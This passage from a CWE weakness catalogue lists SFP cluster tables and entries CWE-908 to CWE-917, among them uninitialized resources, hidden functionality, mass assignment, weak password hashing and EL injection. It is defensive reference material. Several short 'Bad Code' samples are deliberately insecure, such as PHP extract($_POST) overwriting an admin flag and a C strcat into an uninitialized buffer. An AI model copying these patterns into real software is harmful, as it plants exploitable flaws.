HasMember	B	323	Reusing a Nonce, Key Pair in Encryption	884	569
HasMember	B	325	Missing Required Cryptographic Step	884	571
HasMember	B	327	Use of a Broken or Risky Cryptographic Algorithm	884	574
HasMember	B	331	Insufficient Entropy	884	587
HasMember	B	334	Small Space of Random Values	884	590
HasMember	C	335	PRNG Seed Error	884	592
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	884	595
HasMember	B	341	Predictable from Observable State	884	597
HasMember	B	347	Improper Verification of Cryptographic Signature	884	606
HasMember	B	348	Use of Less Trusted Source	884	607
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	884	608
HasMember		352	Cross-Site Request Forgery (CSRF)	884	612
HasMember	B	353	Missing Support for Integrity Check	884	617
HasMember	B	354	Improper Validation of Integrity Check Value	884	619
HasMember	B	364	Signal Handler Race Condition	884	636
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	884	643
HasMember	B	369	Divide By Zero	884	648
HasMember	C	390	Detection of Error Condition Without Action	884	673
HasMember	B	392	Missing Report of Error Condition	884	678
HasMember	B	393	Return of Wrong Status Code	884	679
HasMember	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	884	689
HasMember	B	406	Insufficient Control of Network Message Volume (Network Amplification)	884	705
HasMember	B	407	Algorithmic Complexity	884	707
HasMember	B	408	Incorrect Behavior Order: Early Amplification	884	708
HasMember	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	884	709
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	884	744
HasMember	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	884	758
HasMember	B	451	User Interface (UI) Misrepresentation of Critical Information	884	765
HasMember	B	453	Insecure Default Variable Initialization	884	768
HasMember	B	454	External Initialization of Trusted Variables or Data Stores	884	769
HasMember	B	455	Non-exit on Failed Initialization	884	771
HasMember	B	456	Missing Initialization of a Variable	884	772
HasMember	V	467	Use of sizeof() on a Pointer Type	884	786
HasMember	B	468	Incorrect Pointer Scaling	884	788
HasMember	B	469	Use of Pointer Subtraction to Determine Size	884	789
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	884	791
HasMember	B	476	NULL Pointer Dereference	884	800
HasMember	V	478	Missing Default Case in Switch Statement	884	806
HasMember	B	480	Use of Incorrect Operator	884	811

Nature	Type	ID	Name	V	Page
HasMember	V	483	Incorrect Block Delimitation	**884**	817
HasMember	B	484	Omitted Break Statement in Switch	**884**	819
HasMember	V	486	Comparison of Classes by Name	**884**	822
HasMember	B	494	Download of Code Without Integrity Check	**884**	837
HasMember	V	495	Private Array-Typed Field Returned From A Public Method	**884**	840
HasMember	V	496	Public Data Assigned to Private Array-Typed Field	**884**	841
HasMember	V	498	Cloneable Class Containing Sensitive Information	**884**	844
HasMember	V	499	Serializable Class Containing Sensitive Data	**884**	845
HasMember	V	502	Deserialization of Untrusted Data	**884**	849
HasMember	B	521	Weak Password Requirements	**884**	864
HasMember	B	522	Insufficiently Protected Credentials	**884**	865
HasMember	V	546	Suspicious Comment	**884**	887
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	**884**	888
HasMember	V	561	Dead Code	**884**	898
HasMember	V	563	Assignment to Variable without Use ('Unused Variable')	**884**	901
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	**884**	906
HasMember	B	587	Assignment of a Fixed Address to a Pointer	**884**	929
HasMember	B	595	Comparison of Object References Instead of Object Contents	**884**	938
HasMember	V	601	URL Redirection to Untrusted Site ('Open Redirect')	**884**	944
HasMember	B	602	Client-Side Enforcement of Server-Side Security	**884**	949
HasMember	B	605	Multiple Binds to the Same Port	**884**	953
HasMember	V	617	Reachable Assertion	**884**	966
HasMember	B	621	Variable Extraction Error	**884**	971
HasMember	B	627	Dynamic Variable Evaluation	**884**	977
HasMember	B	628	Function Call with Incorrectly Specified Arguments	**884**	979
HasMember	C	642	External Control of Critical State Data	**884**	995
HasMember	B	648	Incorrect Use of Privileged APIs	**884**	1006
HasMember	B	667	Improper Locking	**884**	1034
HasMember	B	672	Operation on a Resource after Expiration or Release	**884**	1041
HasMember	B	674	Uncontrolled Recursion	**884**	1044
HasMember	B	676	Use of Potentially Dangerous Function	**884**	1046
HasMember	B	681	Incorrect Conversion between Numeric Types	**884**	1060
HasMember	B	698	Execution After Redirect (EAR)	**884**	1082
HasMember	B	708	Incorrect Ownership Assignment	**884**	1111
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	**884**	1124
HasMember	C	756	Missing Custom Error Page	**884**	1154
HasMember	B	763	Release of Invalid Pointer or Reference	**884**	1167
HasMember	B	770	Allocation of Resources Without Limits or Throttling	**884**	1178
HasMember	B	772	Missing Release of Resource after Effective Lifetime	**884**	1186
HasMember	V	783	Operator Precedence Logic Error	**884**	1203
HasMember	B	786	Access of Memory Location Before Start of Buffer	**884**	1209
HasMember	B	788	Access of Memory Location After End of Buffer	**884**	1212
HasMember	B	798	Use of Hard-coded Credentials	**884**	1223
HasMember	B	805	Buffer Access with Incorrect Length Value	**884**	1234
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	**884**	1243
HasMember	B	822	Untrusted Pointer Dereference	**884**	1254
HasMember	B	825	Expired Pointer Dereference	**884**	1259
HasMember	C	829	Inclusion of Functionality from Untrusted Control Sphere	**884**	1266
HasMember	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	**884**	1277
HasMember	B	838	Inappropriate Encoding for Output Context	**884**	1281

Nature	Type	ID	Name	V	Page
HasMember	B	839	Numeric Range Comparison Without Minimum Check	**884**	1283
HasMember	B	841	Improper Enforcement of Behavioral Workflow	**884**	1288
HasMember	C	862	Missing Authorization	**884**	1303
HasMember	C	863	Incorrect Authorization	**884**	1308

CWE-885: SFP Primary Cluster: Risky Values

Category ID: 885 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Risky Values cluster.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*888*	*Software Fault Pattern (SFP) Clusters*	***888***	*1327*
ParentOf	C	*998*	*SFP Secondary Cluster: Glitch in Computation*	***888***	*1397*

CWE-886: SFP Primary Cluster: Unused entities

Category ID: 886 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Unused entities cluster.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	*482*	*Comparing instead of Assigning*	***888***	*816*
ParentOf	V	*561*	*Dead Code*	***888***	*898*

MemberOf	V	*888*	*Software Fault Pattern (SFP) Clusters*	***888***	*1327*

CWE-887: SFP Primary Cluster: API

Category ID: 887 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the API cluster.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*888*	*Software Fault Pattern (SFP) Clusters*	***888***	*1327*
ParentOf	C	*1001*	*SFP Secondary Cluster: Use of an Improper API*	***888***	*1414*

CWE-888: Software Fault Pattern (SFP) Clusters

View ID: 888 *(View: Graph)* **Status:** Incomplete

Objective

CWE identifiers in this view are associated with clusters of Software Fault Patterns (SFPs).

CWE-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

View ID: 900 *(View: Graph)* **Status:** Incomplete

Objective

CWE entries in this view (graph) are listed in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**45**	out of	1006
Views	0	out of	33
Categories	4	out of	245
Weaknesses	40	out of	720
Compound_Elements	1	out of	8

View Audience

Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Software Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

ParentOf	C	978	SFP Secondary Cluster: Implementation	888	1387

CWE-908: Use of Uninitialized Resource

Weakness ID: 908 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses a resource that has not been properly initialized.

Extended Description

This can have security implications when the associated resource is expected to have certain properties or values.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Confidentiality
Read memory
Read application data

When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.

Availability
DoS: crash / exit / restart

The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Java Example: *Bad Code*

```
private boolean initialized = true;
public void someMethod() {
  if (!initialized) {
    // perform initialization tasks
    ...
    initialized = true;
  }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Perl Example: *Bad Code*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
  $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
  DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

C Example: *Bad Code*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

Reference	Description
CVE-2005-1036	Permission bitmap is not properly initialized, leading to resultant privilege elevation or DoS.
CVE-2008-0062	Lack of initialization triggers NULL pointer dereference or double-free.
CVE-2008-0063	Product does not clear memory contents when generating an error message, leading to information leak.
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application.
CVE-2008-2934	Free of an uninitialized pointer leads to crash and possible code execution.
CVE-2008-3475	chain: Improper initialization leads to memory corruption.
CVE-2008-3597	chain: game server can access player data structures before initialization has happened leading to NULL dereference
CVE-2008-3688	chain: Uninitialized variable leads to infinite loop.
CVE-2008-4197	Use of uninitialized memory may allow code execution.

Reference	Description
CVE-2009-0949	chain: improper initialization of memory can lead to NULL dereference
CVE-2009-2692	chain: uninitialized function pointers can be dereferenced allowing code execution
CVE-2009-3620	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference

Potential Mitigations

Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps.

Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Implementation

Avoid race conditions (CWE-362) during initialization routines.

Build and Compilation

Run or compile the software with settings that generate warnings about uninitialized variables or data.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	452	Initialization and Cleanup Errors	**699**	767
ChildOf	C	664	Improper Control of a Resource Through its Lifetime	**1000**	1028
CanFollow	B	*909*	*Missing Initialization of Resource*	*1000*	*1336*

CWE-909: Missing Initialization of Resource

Weakness ID: 909 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not initialize a critical resource.

Extended Description

Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Confidentiality
Read memory
Read application data

When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.

Availability
DoS: crash / exit / restart

The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Java Example: *Bad Code*

```
private boolean initialized = true;
public void someMethod() {
  if (!initialized) {
    // perform initialization tasks
    ...
    initialized = true;
  }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Perl Example: *Bad Code*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
  $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
  DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

C Example: *Bad Code*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Potential Mitigations

Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all specified steps.

Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Implementation

Avoid race conditions (CWE-362) during initialization routines.

Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

CWE-910: Use of Expired File Descriptor

Weakness ID: 910 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses or accesses a file descriptor after it has been closed.

Extended Description

After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.

Alternate Terms

Stale file descriptor

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Sometimes)*
- C++ *(Sometimes)*
- Language-independent

Common Consequences

Confidentiality
Read files or directories

The program could read data from the wrong file.

Availability
DoS: crash / exit / restart

Accessing a file descriptor that has been closed can cause a crash.

Likelihood of Exploit

Medium

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	452	Initialization and Cleanup Errors	**699**	767
ChildOf	B	672	Operation on a Resource after Expiration or Release	**1000**	1041

CWE-911: Improper Update of Reference Count

Weakness ID: 911 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.

Extended Description

Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Sometimes)*
- C++ *(Sometimes)*
- Language-independent

Likelihood of Exploit

Medium

Observed Examples

Reference	Description
CVE-2002-0574	chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.
CVE-2004-0114	Reference count for shared memory not decremented when a function fails, potentially allowing unprivileged users to read kernel memory.
CVE-2006-3741	chain: improper reference count tracking leads to file descriptor consumption
CVE-2007-1383	chain: integer overflow in reference counter causes the same variable to be destroyed twice.
CVE-2007-1700	Incorrect reference count calculation leads to improper object destruction and code execution.
CVE-2008-2136	chain: incorrect update of reference count leads to memory leak.
CVE-2008-2785	chain/composite: use of incorrect data type for a reference counter allows an overflow of the counter, leading to a free of memory that is still in use.
CVE-2008-5410	Improper reference counting leads to failure of cryptographic operations.
CVE-2009-1709	chain: improper reference counting in a garbage collection routine leads to use-after-free
CVE-2009-3553	chain: reference count not correctly maintained when client disconnects during a large operation, leading to a use-after-free.
CVE-2009-3624	Reference count not always incremented, leading to crash or code execution.
CVE-2010-0176	improper reference counting leads to expired pointer dereference.
CVE-2010-0623	OS kernel increments reference count twice but only decrements once, leading to resource consumption and crash.
CVE-2010-2549	OS kernel driver allows code execution
CVE-2010-4593	improper reference counting leads to exhaustion of IP addresses
CVE-2011-0695	Race condition causes reference counter to be decremented prematurely, leading to the destruction of still-active object and an invalid pointer dereference.
CVE-2012-4787	improper reference counting leads to use-after-free

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

CWE-912: Hidden Functionality

Weakness ID: 912 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the software's users or administrators.

Extended Description

Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the software's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Other
Integrity
Varies by context
Alter execution logic

Potential Mitigations

Installation

Always verify the integrity of the software that is being installed.

Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	505	Intentionally Introduced Weakness	**699**	853
ChildOf	C	710	Coding Standards Violation	**1000**	1112
ParentOf	C	*506*	*Embedded Malicious Code*	***1000***	*854*
ParentOf	C	*514*	*Covert Channel*	*1000*	*860*

CWE-913: Improper Control of Dynamically-Managed Code Resources

Weakness ID: 913 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

Extended Description

Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Integrity
Execute unauthorized code or commands

Other
Integrity
Varies by context
Alter execution logic

Potential Mitigations

Implementation
Input Validation

For any externally-influenced input, check the input against a white list of acceptable values.

Implementation
Architecture and Design
Refactoring

Refactor the code so that it does not need to be dynamically managed.

Relationships

CWE-914: Improper Control of Dynamically-Identified Variables

Weakness ID: 914 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not properly restrict reading from or writing to dynamically-identified variables.

Extended Description

Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Integrity
Modify application data

An attacker could modify sensitive data or program variables.

Integrity
Execute unauthorized code or commands

Other
Integrity
Varies by context
Alter execution logic

Demonstrative Examples

This code uses the credentials sent in a POST request to login a user.

PHP Example: *Bad Code*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
  $query = buildQuery($user,$pass);
  mysql_query($query);
  if(getUserRole($user) == "Admin"){
    $isAdmin = true;
  }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

Observed Examples

Reference	Description
CVE-2006-2828	import_request_variables() buried in include files makes post-disclosure analysis confusing
CVE-2006-4019	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users.
CVE-2006-4904	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion.
CVE-2006-6661	extract() enables static code injection
CVE-2006-7079	extract used for register_globals compatibility layer, enables path traversal
CVE-2006-7135	extract issue enables file inclusion
CVE-2007-0649	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.
CVE-2007-2431	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS.
CVE-2009-0422	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal.

Potential Mitigations

Implementation
Input Validation

For any externally-influenced input, check the input against a white list of internal program variables that are allowed to be modified.

Implementation
Architecture and Design
Refactoring

Refactor the code so that internal program variables do not need to be dynamically identified.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	99	Improper Control of Resource Identifiers ('Resource Injection')	699 **1000**	190
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	**699** 1000	1340
ParentOf	B	*621*	*Variable Extraction Error*	***699 1000***	*971*
ParentOf	B	*627*	*Dynamic Variable Evaluation*	***699 1000***	*977*

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

Weakness ID: 915 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

Extended Description

If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.

This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.

Alternate Terms

Mass Assignment

"Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.

AutoBinding

The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.

Object injection

This term seems to be preferred by some PHP application researchers who attack unsafe use of the unserialize() function.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Ruby
- ASP.NET
- PHP
- Python
- Language-independent

Common Consequences

Integrity
Modify application data

An attacker could modify sensitive data or program variables.

Integrity
Execute unauthorized code or commands

Other
Integrity
Varies by context
Alter execution logic

Observed Examples

Reference	Description
CVE-2005-2875	Python script allows remote attackers to execute arbitrary code using pickled objects.
CVE-2007-5741	Content management system written in Python interprets untrusted data as pickles, allowing code execution.
CVE-2008-1013	Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution.
CVE-2008-7310	Attackers can bypass payment step in e-commerce software.
CVE-2009-4137	Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files.
CVE-2010-3258	Incorrect deserialization in web browser allows escaping the sandbox.
CVE-2011-2520	Python script allows local users to execute code via pickled data.
CVE-2011-2894	Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code.
CVE-2011-4962	Content management system written in PHP allows code execution through page comments.
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
CVE-2012-1833	Grails allows binding of arbitrary parameters to modify arbitrary object properties.
CVE-2012-2054	Mass assignment allows modification of arbitrary attributes using modified URL.
CVE-2012-2055	Source version control product allows modification of trusted key using mass assignment.
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution.
CVE-2013-0277	Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code.
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.

Potential Mitigations

Implementation

If available, use features of the language or framework that allow specification of whitelists of attributes or fields that are allowed to be modified. If possible, prefer whitelists over black lists.

For applications written with Ruby on Rails, use the attr_accessible (whitelist) or attr_protected (blacklist) macros in each class that may be used in mass assignment.

Architecture and Design
Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Implementation
Input Validation

For any externally-influenced input, check the input against a white list of internal object attributes or fields that are allowed to be modified.

Implementation
Architecture and Design
Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Maintenance Notes

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

CWE-916: Use of Password Hash With Insufficient Computational Effort

Weakness ID: 916 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.

Extended Description

Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash.

Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker.

There are several properties of a hash scheme that are relevant to its strength against an offline, massively-parallel attack:

The amount of CPU time required to compute the hash ("stretching")

The amount of memory required to compute the hash ("memory-hard" operations)

Including a random value, along with the password, as input to the hash computation ("salting")

Given a hash, there is no known way of determining a password that produces this hash value, other than by guessing possible passwords ("one-way" hashing)

Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs ("collision resistance")

Note that the security requirements for the software may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Common Consequences

Access Control
Bypass protection mechanism
Gain privileges / assume identity

If an attacker can gain access to the hashes, then the lack of sufficient computational effort will make it easier to conduct brute force attacks using techniques such as rainbow tables, or specialized hardware such as GPUs, which can be much faster than general-purpose CPUs for computing hashes.

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Manual Static Analysis - Source Code
SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Configuration Checker

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Observed Examples

Reference	Description
CVE-2001-0967	Server uses a constant salt when encrypting passwords, simplifying brute force attacks.
CVE-2002-1657	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks.
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
CVE-2006-1058	Router does not use a salt with a hash, making it easier to crack passwords.
CVE-2008-1526	Router does not use a salt with a hash, making it easier to crack passwords.
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash.

Potential Mitigations

Architecture and Design
High
Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.916.1], scrypt [R.916.2], and PBKDF2 [R.916.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Implementation
Architecture and Design
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Weakness ID: 917 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software constructs all or part of an expression language (EL) statement in a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

Alternate Terms

EL Injection

Time of Introduction

- Architecture and Design

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality
Read application data
Integrity
Execute unauthorized code or commands

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	**699** **1000**	117

Relationship Notes

